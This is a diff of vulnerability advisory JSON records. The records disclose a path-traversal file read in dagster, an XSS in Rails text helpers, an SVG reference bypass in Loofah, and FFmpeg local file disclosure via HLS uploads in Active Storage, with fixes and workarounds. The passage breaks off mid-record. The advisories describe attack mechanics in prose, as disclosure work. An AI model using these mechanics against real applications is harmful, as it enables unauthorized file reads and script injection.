,"0.25.11","0.25.12","0.25.13","0.25.2","0.25.3","0.25.4","0.25.4rc0","0.25.5","0.25.6","0.25.7","0.25.8","0.25.9","0.26.0","0.26.1","0.26.10","0.26.11","0.26.11rc0","0.26.11rc1","0.26.12","0.26.13","0.26.14","0.26.15","0.26.16","0.26.17","0.26.18","0.26.18rc0","0.26.18rc1","0.26.18rc2","0.26.19","0.26.2","0.26.20","0.26.21","0.26.3","0.26.4","0.26.5","0.26.6","0.26.6rc0","0.26.7","0.26.7rc0","0.26.8","0.26.9","0.27.0","0.27.1","0.27.10","0.27.11","0.27.12","0.27.13","0.27.14","0.27.15","0.27.16","0.27.2","0.27.3","0.27.4","0.27.5","0.27.6","0.27.7","0.27.8","0.27.9","0.28.0","0.28.1","0.28.10","0.28.11","0.28.12","0.28.13","0.28.13rc0","0.28.14","0.28.14rc2","0.28.14rc3","0.28.14rc4","0.28.15","0.28.15rc3","0.28.15rc4","0.28.16","0.28.16rc1","0.28.17","0.28.17rc0","0.28.18","0.28.19","0.28.2","0.28.20","0.28.21","0.28.22","0.28.3","0.28.4","0.28.5","0.28.6","0.28.7","0.28.8","0.28.9","0.29.0","0.29.1","0.29.10","0.29.11","0.29.12","0.29.13","0.29.14","0.29.15","0.29.16","0.29.17","0.29.18","0.29.19","0.29.2","0.29.20","0.29.21","0.29.22","0.29.23","0.29.24","0.29.25","0.29.26","0.29.27","0.29.28","0.29.29","0.29.3","0.29.4","0.29.5","0.29.5rc0","0.29.6","0.29.7","0.29.8","0.29.9","0.3.0","0.3.0.post2","0.3.0.post3","0.3.3.post1","0.3.4","0.3.5","0.4.0","0.4.0rc2","0.4.3","0.4.3.post2","0.4.3.post4","0.4.3rc1","0.5.0","0.5.0rc0","0.5.0rc2","0.5.0rc3","0.5.0rc4","0.5.1","0.5.1rc0","0.5.2","0.5.2.post2","0.5.2.post3","0.5.2rc0","0.5.3","0.5.4","0.5.4rc0","0.5.5","0.5.5rc0","0.5.6","0.5.6rc2","0.5.7","0.5.7rc0","0.5.8","0.5.8rc0","0.5.9","0.5.9rc0","0.6.0","0.6.0.post0","0.6.0rc0","0.6.0rc1","0.6.1","0.6.1rc1","0.6.2","0.6.2rc0","0.6.2rc1","0.6.2rc2","0.6.3","0.6.3rc0","0.6.3rc2","0.6.4","0.6.4rc0","0.6.4rc3","0.6.5","0.6.5rc3","0.6.6","0.6.6rc1","0.6.7","0.6.7.post0","0.6.7rc0","0.6.8","0.6.8rc2","0.6.9","0.7.0","0.7.0rc0","0.7.0rc1","0.7.1","0.7.1rc0","0.7.2","0.7.2rc0","0.7.3","0.7.3rc1","0.8.10","0.8.10rc0","0.8.10rc1","0.8.10rc2","0.8.6","0.8.6rc1","0.8.7","0.8.7rc0","0.8.8","0.8.8rc0","0.8.9","0.8.9rc0","0.9.0","0.9.0rc0","0.9.1","0.9.10.post0","0.9.11","0.9.11rc0","0.9.12","0.9.12rc0","0.9.12rc1","0.9.13","0.9.13rc0","0.9.14","0.9.14rc0","0.9.15","0.9.15rc0","0.9.16","0.9.16rc0","0.9.17","0.9.17rc0","0.9.18","0.9.18rc0","0.9.19","0.9.19rc0","0.9.1rc0","0.9.1rc1","0.9.2","0.9.20","0.9.20rc0","0.9.21","0.9.21rc0","0.9.22","0.9.22.post0","0.9.22rc1","0.9.2rc0","0.9.3","0.9.3rc0","0.9.4","0.9.4rc0","0.9.5","0.9.5rc1","0.9.6","0.9.6rc0","0.9.7","0.9.7rc0","0.9.8","0.9.8rc0","0.9.9","0.9.9rc1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/dagster-ge/PYSEC-2025-102.yaml"}}],"references":[{"type":"REPORT","url":"https://github.com/dagster-io/dagster/pull/30002"},{"type":"PACKAGE","url":"https://github.com/dagster-io/dagster"},{"type":"EVIDENCE","url":"https://www.gecko.security/blog/cve-2025-51481"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"PYSEC-2025-102","published":"2025-07-22T17:15:33.543Z","modified":"2026-11-12T20:45:02.317537019Z","aliases":["CVE-2025-51481","GHSA-h7x8-jv97-fvvm","PYSEC-2026-1286"],"details":"Local File Inclusion in dagster._grpc.impl.get_notebook_data in Dagster 1.10.14 allows attackers with access to the gRPC server to read arbitrary files by supplying path traversal sequences in the notebook_path field of ExternalNotebookData requests, bypassing the intended extension-based check.","affected":[{"package":{"name":"dagster-ge","ecosystem":"PyPI","purl":"pkg:pypi/dagster-ge"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.10.14"}]}],"versions":["0.10.0","0.10.0rc0","0.10.1","0.10.1rc0","0.10.2","0.10.2rc0","0.10.3","0.10.3rc0","0.10.4","0.10.4rc0","0.10.5","0.10.5rc0","0.10.6","0.10.6rc0","0.10.7","0.10.7rc0","0.10.8","0.10.8rc0","0.10.9","0.11.0","0.11.0rc0","0.11.1","0.11.10","0.11.10rc0","0.11.10rc1","0.11.10rc2","0.11.11","0.11.11rc1","0.11.11rc5","0.11.11rc7","0.11.12","0.11.12rc0","0.11.12rc2","0.11.12rc3","0.11.13","0.11.13rc2","0.11.13rc3","0.11.13rc5","0.11.14","0.11.14rc0","0.11.14rc1","0.11.14rc2","0.11.14rc3","0.11.14rc4","0.11.14rc5","0.11.14rc7","0.11.14rc8","0.11.15","0.11.15rc0","0.11.15rc1","0.11.16","0.11.16rc10","0.11.16rc18","0.11.1rc0","0.11.2","0.11.2rc0","0.11.3","0.11.3rc0","0.11.4","0.11.4rc0","0.11.5","0.11.5rc0","0.11.5rc1","0.11.6","0.11.6rc11","0.11.6rc13","0.11.6rc14","0.11.6rc15","0.11.6rc16","0.11.6rc17","0.11.6rc18","0.11.6rc19","0.11.6rc20","0.11.6rc21","0.11.6rc22","0.11.6rc23","0.11.6rc24","0.11.6rc25","0.11.6rc26","0.11.6rc27","0.11.6rc28","0.11.6rc29","0.11.6rc31","0.11.6rc32","0.11.6rc5","0.11.6rc7","0.11.6rc8","0.11.6rc9","0.11.7","0.11.7rc1","0.11.7rc10","0.11.7rc13","0.11.7rc14","0.11.7rc2","0.11.7rc3","0.11.7rc4","0.11.7rc6","0.11.7rc7","0.11.7rc8","0.11.7rc9","0.11.8","0.11.8rc4","0.11.8rc5","0.11.9","0.11.9rc10","0.11.9rc11","0.11.9rc12","0.11.9rc6","0.11.9rc7","0.11.9rc8","0.12.0","0.12.0rc0","0.12.1","0.12.10","0.12.10rc0","0.12.10rc1","0.12.11","0.12.11rc0","0.12.12","0.12.12rc0","0.12.13","0.12.13rc0","0.12.14","0.12.14rc0","0.12.14rc1","0.12.14rc2","0.12.15","0.12.15rc2","0.12.1rc0","0.12.2","0.12.2rc0","0.12.3","0.12.3rc1","0.12.4","0.12.4rc0","0.12.4rc1","0.12.5","0.12.5rc0","0.12.6","0.12.6rc0","0.12.7","0.12.7rc0","0.12.8","0.12.8rc0","0.12.9","0.12.9rc0","0.12.9rc1","0.12.9rc2","0.13.0","0.13.0rc0","0.13.1","0.13.10","0.13.10rc3","0.13.11","0.13.11rc0","0.13.12","0.13.12rc2","0.13.13","0.13.13rc0","0.13.14","0.13.14rc0","0.13.15","0.13.15rc0","0.13.16","0.13.16rc0","0.13.17","0.13.17rc0","0.13.18","0.13.18rc0","0.13.19","0.13.19rc2","0.13.1rc0","0.13.2","0.13.2rc0","0.13.2rc2","0.13.3","0.13.3rc0","0.13.4","0.13.4rc0","0.13.5","0.13.5rc0","0.13.6","0.13.6rc0","0.13.7","0.13.7rc0","0.13.8","0.13.8rc0","0.13.9","0.13.9rc0","0.14.0","0.14.0rc0","0.14.1","0.14.10","0.14.11","0.14.12","0.14.13","0.14.14","0.14.15","0.14.16","0.14.16rc2","0.14.16rc3","0.14.16rc4","0.14.17","0.14.17rc10","0.14.17rc3","0.14.17rc4","0.14.17rc5","0.14.17rc6","0.14.17rc7","0.14.17rc8","0.14.18","0.14.18rc2","0.14.18rc3","0.14.18rc4","0.14.18rc5","0.14.18rc6","0.14.19","0.14.1rc0","0.14.2","0.14.20","0.14.20rc0","0.14.21rc0","0.14.2rc0","0.14.3","0.14.3rc0","0.14.4","0.14.4rc0","0.14.5","0.14.5rc0","0.14.6","0.14.6rc0","0.14.7","0.14.7rc0","0.14.8","0.14.8rc1","0.14.9","0.14.9rc0","0.15.0","0.15.1","0.15.10","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.15.8","0.15.9","0.16.0","0.16.0rc2","0.16.1","0.16.10","0.16.11","0.16.12","0.16.13","0.16.14","0.16.15","0.16.16","0.16.17","0.16.2","0.16.3","0.16.4","0.16.6","0.16.7","0.16.8","0.16.9","0.17.1","0.17.10","0.17.11","0.17.12","0.17.13","0.17.14","0.17.15","0.17.16","0.17.17","0.17.17rc0","0.17.18","0.17.19","0.17.2","0.17.20","0.17.21","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.17.8","0.17.9","0.18.0","0.18.1","0.18.2","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.19.0","0.19.1","0.19.10","0.19.11","0.19.12","0.19.13","0.19.14","0.19.14rc1","0.19.14rc2","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.19.8","0.19.9","0.19.9rc0","0.20.0","0.20.1","0.20.10","0.20.11","0.20.12","0.20.13","0.20.13rc0","0.20.13rc1","0.20.14","0.20.15","0.20.16","0.20.17","0.20.2","0.20.3","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.20.9","0.21.0","0.21.1","0.21.10","0.21.11","0.21.12","0.21.13","0.21.14","0.21.14rc0","0.21.2","0.21.3","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9","0.22.0","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.2","0.23.2rc1","0.23.2rc2","0.23.2rc3","0.23.2rc4","0.23.3","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9","0.23.9rc0","0.24.0","0.24.1","0.24.10","0.24.11","0.24.12","0.24.13","0.24.2","0.24.3","0.24.4","0.24.5","0.24.6","0.24.7","0.24.8","0.24.9","0.25.0","0.25.1","0.25.10","0.25.11","0.25.12","0.25.13","0.25.2","0.25.3","0.25.4","0.25.4rc0","0.25.5","0.25.6","0.25.7","0.25.8","0.25.9","0.26.0","0.26.1","0.26.10","0.26.11","0.26.11rc0","0.26.11rc1","0.26.12","0.26.13","0.26.14","0.26.15","0.26.16","0.26.17","0.26.18","0.26.18rc0","0.26.18rc1","0.26.18rc2","0.26.19","0.26.2","0.26.20","0.26.21","0.26.3","0.26.4","0.26.5","0.26.6","0.26.6rc0","0.26.7","0.26.7rc0","0.26.8","0.26.9","0.27.0","0.27.1","0.27.10","0.27.11","0.27.12","0.27.13","0.27.14","0.27.15","0.27.16","0.27.2","0.27.3","0.27.4","0.27.5","0.27.6","0.27.7","0.27.8","0.27.9","0.28.0","0.28.1","0.28.10","0.28.11","0.28.12","0.28.13","0.28.13rc0","0.28.14","0.28.14rc2","0.28.14rc3","0.28.14rc4","0.28.15","0.28.15rc3","0.28.15rc4","0.28.16","0.28.16rc1","0.28.17","0.28.17rc0","0.28.18","0.28.19","0.28.2","0.28.20","0.28.21","0.28.22","0.28.3","0.28.4","0.28.5","0.28.6","0.28.7","0.28.8","0.28.9","0.29.0","0.29.1","0.29.10","0.29.11","0.29.12","0.29.13","0.29.14","0.29.15","0.29.16","0.29.17","0.29.18","0.29.19","0.29.2","0.29.20","0.29.21","0.29.22","0.29.23","0.29.24","0.29.25","0.29.26","0.29.27","0.29.28","0.29.29","0.29.3","0.29.30","0.29.4","0.29.5","0.29.5rc0","0.29.6","0.29.7","0.29.8","0.29.9","0.3.0","0.3.0.post2","0.3.0.post3","0.3.3.post1","0.3.4","0.3.5","0.4.0","0.4.0rc2","0.4.3","0.4.3.post2","0.4.3.post4","0.4.3rc1","0.5.0","0.5.0rc0","0.5.0rc2","0.5.0rc3","0.5.0rc4","0.5.1","0.5.1rc0","0.5.2","0.5.2.post2","0.5.2.post3","0.5.2rc0","0.5.3","0.5.4","0.5.4rc0","0.5.5","0.5.5rc0","0.5.6","0.5.6rc2","0.5.7","0.5.7rc0","0.5.8","0.5.8rc0","0.5.9","0.5.9rc0","0.6.0","0.6.0.post0","0.6.0rc0","0.6.0rc1","0.6.1","0.6.1rc1","0.6.2","0.6.2rc0","0.6.2rc1","0.6.2rc2","0.6.3","0.6.3rc0","0.6.3rc2","0.6.4","0.6.4rc0","0.6.4rc3","0.6.5","0.6.5rc3","0.6.6","0.6.6rc1","0.6.7","0.6.7.post0","0.6.7rc0","0.6.8","0.6.8rc2","0.6.9","0.7.0","0.7.0rc0","0.7.0rc1","0.7.1","0.7.1rc0","0.7.2","0.7.2rc0","0.7.3","0.7.3rc1","0.8.10","0.8.10rc0","0.8.10rc1","0.8.10rc2","0.8.6","0.8.6rc1","0.8.7","0.8.7rc0","0.8.8","0.8.8rc0","0.8.9","0.8.9rc0","0.9.0","0.9.0rc0","0.9.1","0.9.10.post0","0.9.11","0.9.11rc0","0.9.12","0.9.12rc0","0.9.12rc1","0.9.13","0.9.13rc0","0.9.14","0.9.14rc0","0.9.15","0.9.15rc0","0.9.16","0.9.16rc0","0.9.17","0.9.17rc0","0.9.18","0.9.18rc0","0.9.19","0.9.19rc0","0.9.1rc0","0.9.1rc1","0.9.2","0.9.20","0.9.20rc0","0.9.21","0.9.21rc0","0.9.22","0.9.22.post0","0.9.22rc1","0.9.2rc0","0.9.3","0.9.3rc0","0.9.4","0.9.4rc0","0.9.5","0.9.5rc1","0.9.6","0.9.6rc0","0.9.7","0.9.7rc0","0.9.8","0.9.8rc0","0.9.9","0.9.9rc1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/dagster-ge/PYSEC-2025-102.yaml"}}],"references":[{"type":"REPORT","url":"https://github.com/dagster-io/dagster/pull/30002"},{"type":"PACKAGE","url":"https://github.com/dagster-io/dagster"},{"type":"EVIDENCE","url":"https://www.gecko.security/blog/cve-2025-51481"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-2p2f-4rq4-gjwc.json b/data/RubyGems/GHSA-2p2f-4rq4-gjwc.json new file mode 100644 index 0000000000..edcbe7ba2c --- /dev/null +++ b/data/RubyGems/GHSA-2p2f-4rq4-gjwc.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-2p2f-4rq4-gjwc","published":"2026-11-12T23:38:57Z","modified":"2026-11-12T23:45:03.307009659Z","aliases":["CVE-2026-126079"],"summary":"Action View: Possible XSS vulnerability in text helpers","details":"### Impact\nWith the HTML5 sanitizer (`Rails::HTML5::Sanitizer`, the default vendor on CRuby for applications using `load_defaults 7.1` or later), Nokogiri before 1.19.5 serializes `<` and `>` unescaped inside attribute values. The Action View text helpers `highlight` and `simple_format` sanitize their input and then process the resulting HTML as a string: `highlight` splits it on tag boundaries to insert matches, and `simple_format` splits it into paragraphs on blank lines. An unescaped `>` or a blank line inside an attribute value could cause markup in that value, which the sanitizer left inert, to be emitted as live elements in the helper's `html_safe` output, possibly leading to XSS. Applications that use the HTML5 sanitizer and pass untrusted text to `highlight`, or to `simple_format` with `html_options`, are affected.\n\n### Details\nThe fixed releases require rails-html-sanitizer 1.7.2 or later, which requires Loofah 2.25.3 and Nokogiri 1.19.5. With these versions, the HTML5 sanitizer escapes `<` and `>` in attribute values as `<` and `>`, as the HTML4 sanitizer already does. The parsed DOM is unchanged, but code or tests that compare sanitized HTML as a string may see the new serialization.\n\n### Workarounds\nUpgrade Nokogiri to 1.19.5 or later; the escaping is in its HTML5 serializer, so no Rails upgrade is needed. Alternatively, use the HTML4 sanitizer by setting `config.action_view.sanitizer_vendor = Rails::HTML4::Sanitizer`.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/adc3a32d4abea77ed3aacf6f5fb71cfc005bef73.patch\n- 8.0: https://github.com/rails/rails/commit/009ea68342d05d02087c04dae7faaa4e4c1def11.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [azaran](https://hackerone.com/azaran).\nThis issue was also found by the Anthropic OSS Scanner (ANT-2026-RTK47OH0).","affected":[{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2p2f-4rq4-gjwc/GHSA-2p2f-4rq4-gjwc.json"}},{"package":{"name":"actionview","ecosystem":"RubyGems","purl":"pkg:gem/actionview"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.0.9","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-2p2f-4rq4-gjwc/GHSA-2p2f-4rq4-gjwc.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-2p2f-4rq4-gjwc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-126079"},{"type":"WEB","url":"https://github.com/rails/rails/commit/009ea68342d05d02087c04dae7faaa4e4c1def11"},{"type":"WEB","url":"https://github.com/rails/rails/commit/adc3a32d4abea77ed3aacf6f5fb71cfc005bef73"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/GHSA-2p2f-4rq4-gjwc.yml"},{"type":"WEB","url":"http://github.com/rails/rails/commit/adc3a32d4abea77ed3aacf6f5fb71cfc005bef73"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T23:38:57Z","nvd_published_at":"2026-11-10T21:19:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-345x-3rq2-jfrm.json b/data/RubyGems/GHSA-345x-3rq2-jfrm.json new file mode 100644 index 0000000000..b6bdb63867 --- /dev/null +++ b/data/RubyGems/GHSA-345x-3rq2-jfrm.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-345x-3rq2-jfrm","published":"2026-11-12T21:26:53Z","modified":"2026-11-12T21:45:03.445343054Z","aliases":["CVE-2026-126208"],"summary":"Loofah: SVG `` and `` bypass local-reference restriction","details":"## Summary\n\nLoofah restricts `href` and `xlink:href` on certain SVG elements to same-document references. Two elements escaped the restriction:\n\n- ``: `SVG_ALLOW_LOCAL_HREF` listed it in lowercase as `textpath`, but the HTML5 parser names the element `textPath` inside ``, so the check never matched on the HTML5 path.\n- ``: absent from `SVG_ALLOW_LOCAL_HREF`, so its references were never restricted on either path.\n\n`rails-html-sanitizer` reuses this safelist in its `PermitScrubber`, so it is affected too.\n\n## Impact\n\nAn external `href` or `xlink:href` on `` or `` survives sanitization. Firefox fetches the URL when rendering the content, which leaks the viewer's IP address, user agent, and referrer, and can reach hosts routable only from the viewer's network. Chrome and WebKit do not fetch external references on these elements. The impact is a network request to an attacker-chosen URL, not script execution.\n\nApplications that sanitize user-supplied SVG, directly or inside HTML, with Loofah's default allowlist or with `rails-html-sanitizer` with SVG elements permitted are affected.\n\n## Mitigation\n\nUpgrade to Loofah >= 2.25.3.","affected":[{"package":{"name":"loofah","ecosystem":"RubyGems","purl":"pkg:gem/loofah"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.25.3"}]}],"versions":["0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","1.0.0","1.0.0.beta.1","1.1.0","1.2.0","1.2.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.0.rc1","2.1.0.rc2","2.1.1","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.17.0","2.18.0","2.19.0","2.19.1","2.2.0","2.2.1","2.2.2","2.2.3","2.20.0","2.21.0","2.21.0.rc1","2.21.1","2.21.2","2.21.3","2.21.4","2.22.0","2.23.0","2.23.1","2.24.0","2.24.1","2.25.0","2.25.1","2.25.2","2.3.0","2.3.1","2.4.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-345x-3rq2-jfrm/GHSA-345x-3rq2-jfrm.json"}}],"references":[{"type":"WEB","url":"https://github.com/flavorjones/loofah/security/advisories/GHSA-345x-3rq2-jfrm"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/pull/324"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/commit/cdd6ff7fb51998eb181bd2da925ddbcfcc8a3b96"},{"type":"PACKAGE","url":"https://github.com/flavorjones/loofah"},{"type":"WEB","url":"https://github.com/flavorjones/loofah/releases/tag/v2.25.3"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/loofah/GHSA-345x-3rq2-jfrm.yml"}],"database_specific":{"cwe_ids":["CWE-178","CWE-184"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T21:26:53Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"}]} \ No newline at end of file diff --git a/data/RubyGems/GHSA-3f4q-8x5m-76v8.json b/data/RubyGems/GHSA-3f4q-8x5m-76v8.json new file mode 100644 index 0000000000..c0e8ec2309 --- /dev/null +++ b/data/RubyGems/GHSA-3f4q-8x5m-76v8.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-3f4q-8x5m-76v8","published":"2026-11-12T21:54:18Z","modified":"2026-11-12T22:00:04.075403782Z","aliases":["CVE-2026-126188"],"summary":"Active Storage: Possible local file disclosure in video previews and analysis","details":"### Impact\nActive Storage's `VideoPreviewer`, `VideoAnalyzer` and `AudioAnalyzer` run `ffmpeg` and `ffprobe` on a blob's contents without restricting the input format, so FFmpeg selects a demuxer by probing the file. A blob created through a direct upload keeps the content type the client declared, so a client can store an HLS playlist under a `video/*` or `audio/*` type. When that blob is previewed or analyzed, the `hls` demuxer opens the `file://` segments that the playlist names, and the preview image or the stored metadata could disclose a local media file that the application process can read and whose path the attacker knows.\n\nApplications that accept uploads from untrusted users and generate video previews, or analyze video or audio attachments with FFmpeg, are affected.\n\n### Details\nThe fixed releases limit the formats FFmpeg may open to common audio and video containers, configured by the new `config.active_storage.ffmpeg_allowed_formats` setting. Files in other formats no longer preview or receive media metadata; the Active Storage CHANGELOG names some of them and shows how to add a format to the list.\n\n### Workarounds\nApplications that cannot upgrade can stop Active Storage from running FFmpeg on uploaded files by removing `ActiveStorage::Previewer::VideoPreviewer` from `config.active_storage.previewers`, and `ActiveStorage::Analyzer::VideoAnalyzer` and `ActiveStorage::Analyzer::AudioAnalyzer` from `config.active_storage.analyzers`.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/3b1f2627538dc597cd973530c08514a26c2b0282.patch\n- 8.0: https://github.com/rails/rails/commit/69aff80d115bbb9d1e82fd6c6f2fd3ddeafb958b.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher 